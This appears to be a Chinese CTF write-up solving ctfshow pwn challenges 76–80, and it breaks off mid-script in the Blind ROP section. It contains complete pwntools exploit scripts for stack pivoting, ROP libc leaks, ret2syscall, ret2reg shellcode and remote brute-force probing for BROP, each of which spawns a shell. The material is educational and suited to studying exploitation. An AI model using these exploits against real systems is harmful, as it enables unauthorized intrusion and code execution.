io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 231
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
ebp=0xfff36f08
[*] Switching to interactive mode
\xb5\x87\x04\x08 o\xf3\xff4N\x02\xf3
What do you want to do?
Nothing here ,
$ ls
ctfshow_flag

pwn76

Hint:还是那句话,理清逻辑很重要

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=e09ec7145440153c4b3dedc3c7a8e328d9be6b55, not stripped

32位关闭PIE部分开启RELRO,栈保护与NX是开启的,静态编译的,这里栈保护不一定是开启

接着查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-3Ch]
int v5; // [esp+18h] [ebp-28h] BYREF
_BYTE s[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int n0xC; // [esp+3Ch] [ebp-4h]

memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("CTFshow login: ", v4);
_isoc99_scanf("%30s", s);
memset(&input, 0, 0xCu);
v5 = 0;
n0xC = Base64Decode(s, &v5);
if ( n0xC > 0xC )
{
puts("Input Error!");
}
else
{
memcpy(&input, v5, n0xC);
if ( auth(n0xC) == 1 )
correct();
}
return 0;
}

这里有很多的自定义函数,根据题目描述也应该知道要先理清逻辑,当然,这里很明显的有一个Base64Decode,你可以通过自己观察函数的逻辑看是否为真的是这么个逻辑,也可以动态调试一下,比如:flag的base64加密字符串→ZmxhZw==

然后动态调试看一下:

$ gdb pwn
pwndbg> b *0x80493CF
pwndbg> r
Starting program: /CTFshow_pwn/pwn
warning: Error disabling address space randomization: Operation not permitted
CTFshow login: ZmxhZw==
pwndbg> n
b+ 0x80493cf <main+194> call Base64Decode <Base64Decode>

► 0x80493d4 <main+199> mov dword ptr [esp + 0x3c], eax [0xffcedb0c] <= 4
0x80493d8 <main+203> cmp dword ptr [esp + 0x3c], 0xc 0x4 - 0xc EFLAGS => 0x200293 [ CF pfAF zf SF IF df of ac ]
0x80493dd <main+208> ✘ ja main+262 <main+262>

0x80493df <main+210> mov eax, dword ptr [esp + 0x18] EAX, [0xffcedae8] => 0x82a29b8 ◂— 'flag'
0x80493e3 <main+214> mov edx, dword ptr [esp + 0x3c] EDX, [0xffcedb0c] => 4
0x80493e7 <main+218> mov dword ptr [esp + 8], edx [0xffcedad8] <= 4
0x80493eb <main+222> mov dword ptr [esp + 4], eax [0xffcedad4] <= 0x82a29b8 ◂— 'flag'
0x80493ef <main+226> mov dword ptr [esp], input [0xffcedad0] <= 0x811eb40 (input) ◂— 0
0x80493f6 <main+233> call memcpy <memcpy>

0x80493fb <main+238> mov eax, dword ptr [esp + 0x3c]
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ esp 0xffcedad0 —▸ 0xffcedaee ◂— 'ZmxhZw=='
01:0004│-044 0xffcedad4 —▸ 0xffcedae8 —▸ 0x82a29b8 ◂— 'flag'
02:0008│-040 0xffcedad8 ◂— 0xc /* '\x0c' */
03:000c│-03c 0xffcedadc ◂— 0
04:0010│-038 0xffcedae0 ◂— 1
05:0014│-034 0xffcedae4 —▸ 0xffcedba4 —▸ 0xffcef6f6 ◂— '/CTFshow_pwn/pwn'
06:0018│-030 0xffcedae8 —▸ 0x82a29b8 ◂— 'flag'
07:001c│-02c 0xffcedaec ◂— 0x6d5a0001
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x80493d4 main+199
1 0x8059614 __libc_start_main+468
2 0x8048dd9 _start+33

从调试能够看出确实是一个base64解密函数

int __cdecl Base64Decode(_BYTE *p_s, int *a2)
{
int v2; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v7; // [esp+1Ch] [ebp-1Ch]
int v8; // [esp+20h] [ebp-18h]
int v9; // [esp+24h] [ebp-14h]
int v10; // [esp+2Ch] [ebp-Ch]

v10 = calcDecodeLength(p_s);
*a2 = malloc(v10 + 1);
v2 = strlen(p_s);
v9 = fmemopen(p_s, v2, &unk_80DA64A);
v3 = BIO_f_base64();
v8 = BIO_new(v3);
v4 = BIO_new_fp(v9, 0);
v7 = BIO_push(v8, v4);
BIO_set_flags(v7, 256);
v5 = strlen(p_s);
*(_BYTE *)(*a2 + BIO_read(v7, *a2, v5)) = 0;
BIO_free_all(v7);
fclose(v9);
return v10;
}

但是,值得注意的是,不要仅仅通过函数名去完全相信并判断它这个函数是干嘛的,当然,不可否认,大部分时间都是没错的,这里也仅仅是为了提醒一下大家。(你看到的东西不一定都是对的!!!)

继续跟进auth函数:

_BOOL4 __cdecl auth(unsigned int n0xC)
{
_BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF

memcpy(&v4, &input, n0xC);
s2 = (char *)calc_md5(v2, 12);
printf("hash : %s\n", (char)s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

auth函数会生成解码内容的md5哈希值,并且与程序中保存的哈希值进行对比。

注意一下上下文,从main函数能够看到,这里的n0xC是auth的实参

v5 = 0;
n0xC = Base64Decode(s, &v5);
if ( n0xC > 0xC )
{
puts("Input Error!");
}
else
{
memcpy(&input, v5, n0xC);
if ( auth(n0xC) == 1 )
correct();
}

n0xC是base64解码后的长度,当n0xC > 0xC(十进制 12)的时候,会输出“Input Error!”然后退出进程

但是在auth函数的memcpy中,目的地址v4所在的位置是[ebp-8],所以当v10【也就是n0xC】 = 0xC(十进制 12) 的时候,就会覆盖ebp寄存器所指向的栈基地址。

高地址
├─ [ebp+4] :返回地址(auth执行完后回到main的地址,4字节)
├─ [ebp] :上一层EBP(即main函数的EBP,4字节)
├─ [ebp-4] :局部变量s2(4字节)
├─ [ebp-8] :局部变量v4(我们要复制数据到这里,4字节)
低地址

在main函数中,还有一个memcpy,把解码后的数据copy填充到了input地址处,在程序关闭PIE的情况下,input的地址已知,我们可以通过栈劫持指针的方式,把数据布置到input所在的bss段:

.bss:0811EB40                 public input
.bss:0811EB40 input db ? ; ; DATA XREF: correct+6↑o
.bss:0811EB40 ; auth+D↑o ...

继续查看,程序存在后门函数:

void __noreturn correct()
{
if ( input == -559038737 )
{
puts("Wow Fantastic,you deserve it!");
system("/bin/sh");
}
exit(0);
}

那么思路就很清晰了,我们直接找到执行system(“/bin/sh”)的地址

.text:08049284                 mov     dword ptr [esp], offset p__bin_sh ; "/bin/sh"
.text:0804928B call system

值得注意的就是,auth执行完后,会通过leave和ret指令返回main,mov ebp,esp;pop ebp的时候,esp寄存器的值要减4,所以payload的前四个字节填充垃圾数据。

当main函数结束时,由于esp=ebp+4,esp的内容存的是函数返回值地址

当然,我们在构造payload的时候需要先进行base64加密一下,然后程序进行解密,然后再达到我们控制程序执行流程的结果。

from pwn import *
import base64
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
input_addr = 0x811EB40
shell = 0x8049284
payload = b'aaaa' + p32(input_addr) + p32(shell)
payload = base64.b64encode(payload)
io.sendlineafter(b"login: ",payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 339
[*] Switching to interactive mode
hash : d1387d94f0112264f606f9f1bfeb939c
$ ls
ctfshow_flag

pwn77

Hint:Ez ROP or Mid ROP ?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位关闭Canary PIE

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
alarm(0x30u);
puts("T^T");
ctfshow();
return 0;
}

跟进ctfshow函数:

__int64 ctfshow()
{
int v0; // eax
__int64 result; // rax
_BYTE v2[267]; // [rsp+0h] [rbp-110h]
char n10; // [rsp+10Bh] [rbp-5h]
int v4; // [rsp+10Ch] [rbp-4h]

v4 = 0;
while ( !feof(stdin) )
{
n10 = fgetc(stdin);
if ( n10 == 10 )
break;
v0 = v4++;
v2[v0] = n10;
}
result = v4;
v2[v4] = 0;
return result;
}

可以发现跟平时做的不太一样,它实现了一个类似于gets的函数,栈溢出,但是会溢出覆盖掉v4,v4是控制数组的,通过栈上的一个变量来寻址 ,所以我们需要计算好0x110 - 4[从v2的起始位置到v4变量的距离]刚好开始覆盖v4变量,在gets覆盖到那个变量的时候,直接把他覆盖成返回地址的地方,然后直接往返回地址写rop。

功能相似性:ctfshow()函数通过循环从标准输入读取字符并存储到缓冲区v2中,直到遇到换行符(\n,ASCII 值 10)或文件结束符(EOF)才停止,这与gets()函数读取输入直到换行符的行为一致。 

缺乏边界检查:和gets()一样,这个函数没有检查输入长度是否超过缓冲区v2的容量(267 字节)。当输入内容过长时,会发生栈溢出,覆盖后续的栈变量(如n10、v4)甚至返回地址。

缓冲区溢出风险:v2的大小是 267 字节(_BYTE v2[267]),而它在栈上的位置是[rsp+0h] [rbp-110h],即距离栈基址rbp的偏移是 0x110(272 字节)。这意味着当输入超过 267 字节时,就会开始覆盖v2之后的栈空间,包括变量n10和v4,最终可以覆盖函数的返回地址。

终止条件:两者都以换行符作为输入结束的标志,并且会将换行符排除在存储内容之外(ctfshow()中遇到n10 == 10就break)。
$ ROPgadget --binary ./pwn | grep "ret"
0x00000000004008e3 : pop rdi ; ret
0x0000000000400576 : ret
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi = 0x4008e3# ROPgadget找到的pop rdi; ret指令地址,用于设置函数参数
ret = 0x400576# ret指令地址,用于栈对
fgetc_got = elf.got['fgetc']# fgetc函数的GOT表地址,用于泄露libc
main = elf.sym['main']# main函数地址,用于泄露后再次回到主程序
puts_plt = elf.plt['puts']# puts函数的PLT表地址,用于输出泄露的地址
payload = b'a'*(0x110 - 0x4) + b'\x18' + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main)
#b'\x18':v4 被修改为 0x118,写入位置:v2 + 0x118 = rbp - 0x110 + 0x118 = rbp + 8,rbp + 8 正是返回地址的位置【详细见下】
io.sendlineafter(b"T^T\n", payload)
fgetc = u64(io.recv(6).ljust(8, b"\x00"))#接收puts输出的fgetc地址(64 位地址通常前 6 字节有效),将 6,将字节流转换为 64 位整数,得到fgetc的实际内存地址,字节地址补全为 8 字节(符合 64 位数据格式)
print(hex(fgetc))
libc_base = fgetc - libc.sym['fgetc']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
print("libc_base = " + hex(libc_base))
payload = b'a'*(0x110 - 0x4) + b'\x18' + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)#ret栈对齐
io.sendlineafter(b"T^T\n", payload)
io.interactive()

关键原理:小端序 + 高位字节不变(学到了)

  1. 当前v4值

    • 在覆盖发生前,v4 = 268 = 0x10C
    • 内存表示(小端序):\x0C\x01\x00\x00
  2. 覆盖目标值

    • 需要 v4 = 280 = 0x118
    • 内存表示(小端序):\x18\x01\x00\x00
  3. 单字节覆盖的可行性

    原始: 0x0C 0x01 0x00 0x00
    目标: 0x18 0x01 0x00 0x00
    ^
    └── 只需要修改这个字节
    • 高位字节(0x01 0x00 0x00)已经符合要求
    • 只需修改最低有效字节(LSB)

也可以看这个博主的解释https://blog.csdn.net/akdelt/article/details/135954144

这里有一个很坑的地方,v4 距离 rbp 4 个字节,所以我们栈溢出的时候会把 v4 也覆盖了,而 v4 是我们用来控制数组下标的,覆盖了的话就乱了,所以我们得注意 v2 输入 到 ebp - 4 的时候计算 v4 的值还原回去,这时的 v4 = 0x110 - 4 +1 = 0x10d.

payload = b'a'*(0x110 - 0x4) + p32(0x10d) + p64(0) + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main)
payload = b'a'*(0x110 - 0x4) + p32(0x10d) + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
#v4被定义为int类型,在 x86_64 架构中,int类型固定为4 字节(32 位)+返回地址8字节
$ python3 exp.py
[+] Starting local process './pwn': pid 404
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
0x78143aa8cf70
libc_base = 0x78143a9fe000
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn78

Hint:64位ret2syscall

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
pwn: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3a1087ee8a857d0726535e1646549e2ebaf043d5, not stripped

64位,静态编译。开启NX 部分开启RELRO

IDA查看:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[80]; // [rsp+0h] [rbp-50h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshowPWN!");
puts("where is my system_x64?");
gets(v4);
puts("fuck");
return 0;
}

明显的栈溢出漏洞,题目描述也说了64位的ret2syscall

与32位不同,需要注意以下几点

  • 存储参数的寄存器名不同

  • ret返回的函数名不同

  • 32位为int 0x80,64位为syscall ret

$ ROPgadget --binary ./pwn | grep "pop" | grep "ret"
0x00000000004016c3 : pop rdi ; ret
0x000000000046b9f8 : pop rax ; ret
0x00000000004377f9 : pop rdx ; pop rsi ; ret

$ ropper --file ./pwn --search "syscall; ret"
0x000000000045bac5: syscall; ret;

$ readelf -S ./pwn
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[25] .bss NOBITS 00000000006c1c40 000c1c30
0000000000002518 0000000000000000 WA 0 0 32
from pwn import *
context.log_level = 'debug'
io = process("./pwn")
pop_rax = 0x46b9f8
pop_rdi = 0x4016c3
pop_rdx_rsi = 0x4377f9
bss = 0x6c2000
syscall = 0x45bac5
payload = cyclic(0x50+8)
payload += p64(pop_rax)+p64(0x0)# rax = 0(read系统调用号)
#read系统调用:是操作系统内核提供的底层功能(编号0),任何程序都可以通过手动设置寄存器并执行syscall指令直接调用,无需依赖库函数(就是main函数没有read函数也可以的)
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss) # rdx=0x10(读取长度), rsi=bss(写入地址)
payload += p64(pop_rdi)+p64(0)# rdi=0(标准输入FD)
payload += p64(syscall)

payload += p64(pop_rax)+p64(0x3b)# rax=59(execve系统调用号)
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)# rdx=0, rsi=0(参数数组和环境变量为空)
payload += p64(pop_rdi)+p64(bss)# rdi=bss(指向/bin/sh字符串)
payload += p64(syscall)

io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 111
[*] Switching to interactive mode
CTFshowPWN!
where is my system_x64?
fuck
$ ls
ctfshow_flag

pwn79

Hint:你需要注意某些函数,这是解题的关键!

ret2reg原理:

  1. 查看溢出函返回时哪个寄存值指向溢出缓冲区空间
  2. 查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址
  3. reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

32位程序,仅部分开启RELRO

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int input[512]; // [esp+0h] [ebp-808h] BYREF
int *p_argc; // [esp+800h] [ebp-8h]

p_argc = &argc;
init();
logo();
printf("Enter your input: ");
fgets((char *)input, 2048, stdin);
ctfshow((char *)input);
return 0;
}

可以看到除去初始化与logo后,程序打印了一个提示信息:Enter your input:

然后从标准输入中读取用户输入的数据到 input 数组,最多读取 2048 字节,将用户输入的数据传递给ctfshow 函数进行处理,继续跟进ctfshow函数:

void __cdecl ctfshow(char *input)
{
char buf[516]; // [esp+0h] [ebp-208h] BYREF

strcpy(buf, input);
}

函数的主要逻辑是将传递给它的 input 字符串复制到 buf 数组中,这种复制使用了 strcpy 函数。需要注意的是,存在缓冲区溢出,因为 strcpy 函数不会检查目标缓冲区的大小。如果 input 字符串的长度超过了 buf 数组的大小,就可能导致数据溢出到栈上其他部分。程序中又有可读可写可执行的段,那么我们的利用思路就很明显了,让我们来逐步调试。

先去寻找寄存器执向的缓冲区:

在gdb中ctfshow函数的leave处下个断点,看程序返回时,缓冲区指向哪个寄存器

pwndbg> disass ctfshow
Dump of assembler code for function ctfshow:
0x0804867e <+0>: push ebp
0x0804867f <+1>: mov ebp,esp
0x08048681 <+3>: push ebx
0x08048682 <+4>: sub esp,0x204
0x08048688 <+10>: call 0x804872c <__x86.get_pc_thunk.ax>
0x0804868d <+15>: add eax,0x1973
0x08048692 <+20>: sub esp,0x8
0x08048695 <+23>: push DWORD PTR [ebp+0x8]
0x08048698 <+26>: lea edx,[ebp-0x208]
0x0804869e <+32>: push edx
0x0804869f <+33>: mov ebx,eax
0x080486a1 <+35>: call 0x80483d0 <strcpy@plt>
0x080486a6 <+40>: add esp,0x10
0x080486a9 <+43>: nop
0x080486aa <+44>: mov ebx,DWORD PTR [ebp-0x4]
0x080486ad <+47>: leave
0x080486ae <+48>: ret
End of assembler dump.

打好0x080486ad断点后运行程序,输入“show” 可以看到 EAX ,ECX ,EDX 寄存器是指向缓冲区的

EAX  0xffc76220 ◂— 'show\n'
EBX 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 1
ECX 0xffc76440 ◂— 'show\n'
EDX 0xffc76220 ◂— 'show\n'
EDI 0xee0edb60 (_rtld_global_ro) ◂— 0
ESI 0x8048730 (__libc_csu_init) ◂— push ebp
EBP 0xffc76428 —▸ 0xffc76c48 ◂— 0
ESP 0xffc76220 ◂— 'show\n'
EIP 0x80486ad (ctfshow+47) ◂— leave

再查看一下返回地址偏移量

pwndbg> stack ebp+8 
#ebp+8查看函数返回地址的常用方式【buf:0x204 +4+4=0x20c】
...
83:020c│+004 0xffc7642c —▸ 0x804871a (main+107) ◂— add esp, 0x10
#超过这个20c长度的输入就会覆盖返回地址,这也是后续利用 ret2reg 技术时需要填充的偏移量。

然后我们去寻找call / jmp 指令:

$ objdump -D -M intel pwn | egrep "eax|edx" | egrep "call|jmp"
80484a0: ff d0 call eax
80484ed: ff d2 call edx
8048ce7: ff ac 00 00 00 90 f7 jmp FWORD PTR [eax+eax*1-0x8700000]
8048d0f: ff 2c 01 jmp FWORD PTR [ecx+eax*1]
8048d17: ff 60 01 jmp DWORD PTR [eax+0x1]
#或者
$ ROPgadget --binary pwn --only "call|jmp"
Gadgets information
============================================================
0x080485a6 : call 0xf05585aa
0x080485b8 : call 0xf05585bc
0x08048442 : call dword ptr [eax + 0x51]
0x08048596 : call dword ptr [eax - 0x18]
0x0804843b : call dword ptr [eax - 0x73]
0x0804869d : call dword ptr [edx - 0x77]
0x080484a0 : call eax
0x080484ed : call edx
0x08048bbf : jmp 0x2825345b
0x080483bb : jmp 0x80483a0
0x08048534 : jmp 0x80484c0
0x08048612 : jmp 0x8048613
0x08048624 : jmp 0x8048625
0x08048636 : jmp 0x8048637
0x0804866c : jmp 0x804866d
0x080485f3 : jmp 0x8c0485f5
0x080485ca : jmp 0xf05585ce
0x080485dc : jmp 0xf05585e0
0x08048d17 : jmp dword ptr [eax + 1]
0x08048cff : jmp esp

Unique gadgets found: 20

这里我们选取call_eax,然后再进行构造我们的payload。【edx不行,ai说,在函数返回过程中(leaveret 指令执行时),edx 的值可能被隐式修改。在 x86 调用约定中,eax 常被用作返回值寄存器,在函数返回前通常会保持稳定。因此 call eax 更可能准确跳转到缓冲区中的 shellcode。】

payload=flat([shellcode,b'a'*(0x20c-len(shellcode)),call_eax])
from pwn import*
context(arch='i386',os='linux',log_level='debug')
io=process("./pwn")
shellcode=asm(shellcraft.sh())
call_eax=p32(0x80484A0)
payload=flat([shellcode,b'a'*(0x20c-len(shellcode)),call_eax])
io.recv()
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 173
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn80

Hint:盲打 blind rop (不是忘记放附件,是本身就没附件!!!)

–>BROP
BROP全称为”BlindROP”,一般在我们无法获得二进制文件的情况下利用 ROP进行远程攻击某个应用程序,劫持该应用程序的控制流,我们可以不需要知道该应用程序的源代码或者任何二进制代码,该应用程序可以被现有的一些保护机制,诸如NX, ASLR, PIE, 以及stack canaries等保护,应用程序所在的服务器可以是32位系统或者64位系统,BROP这一概念在2014年由Standford的Andrea Bittau发表在Oakland 2014的论文Hacking Blind中提出。
要利用BROP,有两个先决条件:

  1. 程序必须存在一个已知漏洞(一般是栈溢出漏洞或者格式化字符串漏洞),并且攻击者知道如何触发该漏洞;
  2. 应用程序在crash之后可以重新启动,并且重新启动的进程不会被re-rand(虽然有ASLR的保护,但是复活的进程和之前的进程的地址随机化是一样的),这个需求其实在现实中是存在且合理的,诸如像如今的nginx, MySQL, Apache, OpenSSH, Samba等应用均符合此类特性

–>BROP攻击思路
因此BROP的攻击思路一般有以下几个步骤:

  1. 暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来
  2. 寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
  3. 利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret
  4. 寻找BROP Gadget,可能需要诸如write、put等函数的系统调用
  5. 寻找相应的PLT地址
  6. dump远程内存空间
  7. 拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell
知识点1-stop_gadget:一般情况下,如果我们把栈上的return address覆盖成某些我们随意选取的内存地址的话,程序有很大可能性会挂掉(比如,该return address指向了一段代码区域,里面会有一些对空指针的访问造成程序crash,从而使得攻击者的连接(connection)被关闭)。但是,存在另外一种情况,即该return address指向了一块代码区域,当程序的执行流跳到那段区域之后,程序并不会crash,而是进入了无限循环,这时程序仅仅是hang在了那里,攻击者能够一直保持连接状态。于是,我们把这种类型的gadget,成为stop gadget,这种gadget对于寻找其他gadgets取到了至关重要的作用。

知识点2-可利用的(potentially useful)gadgets:假设现在我们猜到某个useful gadget,比如pop rdi;ret, 但是由于在执行完这个gadget之后进程还会跳到栈上的下一个地址,如果该地址是一个非法地址,那么进程最后还是会crash,在这个过程中攻击者其实并不知道这个useful gadget被执行过了(因为在攻击者看来最后的效果都是进程crash了),因此攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。这个步骤如下图所示:

┌───────────────────────────────────────────────┐
│ Stack Memory │
├───────────┬───────────────┬───────────┬──────-┤
│ buffer │ return addr │ 0xdead │ 0xdead│
│ AAAAA │ 0x400000 │ 0xdead │ 0xdead│
└───────────┴───────────────┴───────────┴──────-┘
↖ ↗ ↘
│ │ │
│ │ Crash │
│ ▼ ▼
│ ┌───────────────┐ ┌───────────┐
│ │ pop rdi; ret │ │ 0xdead │
└─────┤ (执行流跳转) │ │ (非法地址) │
└───────────────┘ └───────────┘
↓ 执行完 gadget 后,跳转到栈中下一个地址(0xdead)→ 非法 → Crash

1. 栈被溢出覆盖:
- buffer 填 AAAAA,return addr 改为 `pop rdi; ret` 的地址(0x400000)
- 后续栈内容是非法地址(0xdead)

2. 执行流程:
- 主函数 return 时,跳转到 `pop rdi; ret`(gadget 执行成功)
- 执行完 gadget 后,程序自动跳转到栈的下一个地址(0xdead,非法)
- 访问非法地址 → 进程 Crash

3. 攻击者困惑:
- 只看到 Crash,无法区分 “gadget 执行了但后续崩了” 和 “gadget 没执行”
- 容易误以为 gadget 无效,放弃利用

但是,如果我们有了stop gadget,那么整个过程将会很不一样. 如果我们在需要尝试的return address之后填上了足够多的stop gadgets,如下图所示:

#填充 stop gadget 后,执行不崩溃(No Crash)
┌────────────────────────────────────────────────────────────┐
│ Stack │
├───────────┬───────────────┬───────────────┬───────────────┤
│ buffer │ return addr │ stop (1) │ stop (2) │
│ AAAAA │ 0x400000 │ 0x400010 │ 0x400010 │
└───────────┴───────────────┴───────────────┴───────────────┘
↗ ↖ ↖
│ │ │
│ │ No Crash │
│ ▼ ▼
│ ┌─────────────┐ ┌─────────────┐
│ │ pop rdi; ret│ │ sleep │
└─────┤ (执行流跳转) │ │ (维持运行) │
└─────────────┘ └─────────────┘

#含危险指令(xor rax, rax; mov (rax), rbx),执行崩溃(Crash)
┌────────────────────────────────────────────────────────────┐
│ Stack │
├───────────┬───────────────┬───────────────┬───────────────┤
│ buffer │ return addr │ stop (1) │ stop (2) │
│ AAAAA │ 0x400050 │ 0x400010 │ 0x400010 │
└───────────┴───────────────┴───────────────┴───────────────┘
↗ ↖ ↖
│ │ │
│ │ Crash │
│ ▼ ▼
│ ┌───────────────────────┐ ┌─────────────┐
│ │ xor rax, rax; │ │ sleep │
│ │ mov (rax), rbx; │ │ (未执行到) │
└─────┤ (访问空指针 → 崩溃) │ └─────────────┘
└───────────────────────┘
当栈布局填充:
1. [合法 stop gadget] → 执行流跳转到安全指令(如 pop rdi; ret → sleep)→ 不崩溃
→ 程序进入“block 状态”,连接保持,可继续利用

2. [危险 gadget(如访问空指针)] → 执行流跳转到非法指令 → 崩溃
→ 程序 Crash,连接断开,无法继续利用

→ 核心区别:stop gadget 需指向“不访问非法内存、无危险操作”的指令,才能维持程序运行

那么任何会造成进程crash的gadget最后还是会造成进程crash,而那些useful gadget则会进入block状态。尽管如此,还是有一种特殊情况,即那个我们需要尝试的gadget也是一个stop gadget,那么如上所述,它也会被我们标识为useful gadget。不过这并没有关系,因为之后我们还是需要检查该useful gadget是否是我们想要的gadget。

回到题目,直接远程连接:

$ nc pwn.challenge.ctf.show  28277
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Blind rop !
* *************************************
Welcome to CTFshow-PWN ! Do you know who is daniu?

简单尝试是否存在栈溢出漏洞,正常输入较短字符串:

Welcome to CTFshow-PWN ! Do you know who is daniu?
yes i know
No passwd,See you!

输入超长字符串:

$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
$ nc pwn.challenge.ctf.show 28232
Welcome to CTFshow-PWN ! Do you know who is daniu?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
timeout: the monitored command dumped core

那么很明显存在栈溢出漏洞了。

  • 第一步(暴力枚举出栈溢出长度):

    from pwn import *
    def Get_buf_length():
    i = 1 #表示尝试填入的栈长度
    while 1:
    try:
    io = remote('pwn.challenge.ctf.show', 28227)
    io.recvuntil(b"Welcome to CTFshow-PWN ! Do you know who is daniu?\n")
    # 构造 payload,发送 i 个 'a'
    io.send(i * b'a')
    data = io.recv()
    print(data)
    io.close()
    # 判断返回数据,若不是正常的 'No passwd' 开头,说明溢出
    if not data.startswith(b'No passwd'):
    return i - 1 #当已经无法正常返回的时候说明已经破坏到了返回值故实际需填充的长度需减一
    else:
    # 没溢出,继续增大长度尝试
    i += 1
    except EOFError:
    # 程序崩溃,说明溢出,返回当前 i-1
    io.close()
    return i - 1

    buf_length = Get_buf_length()
    print(f"最终探测到的缓冲区长度为: {buf_length}")
    $ python3 exp.py
    [+] Opening connection to pwn.challenge.ctf.show on port 28227: Done
    b'No passwd,See you!\n'
    [*] Closed connection to pwn.challenge.ctf.show port 28227
    ...
    最终探测到的缓冲区长度为: 72
  • 第二步(获取stop_gadget):
    在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个即可。

    from pwn import *
    buf_length=72
    def Get_Stop_Addr():
    address = 0x400000
    #在 Linux 系统中,32 位 ELF 程序默认加载基地址通常是 0x8048000,而 64 位 ELF 程序默认加载基地址通常是 0x400000,这是 CTF PWN 题中寻找有效地址(如 gadget、函数地址)的常见起点选择
    while 1:
    print(hex(address))
    try:
    io = remote('pwn.challenge.ctf.show',28227)
    io.recvuntil(b'Do you know who is daniu?\n')
    payload = b'a'*buf_length + p64(address)
    io.send(payload)
    output = io.recv()
    if not output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
    io.close()
    address += 1
    else:
    return address
    except EOFError:
    address += 1
    io.close()
    stop_gadgets = Get_Stop_Addr()
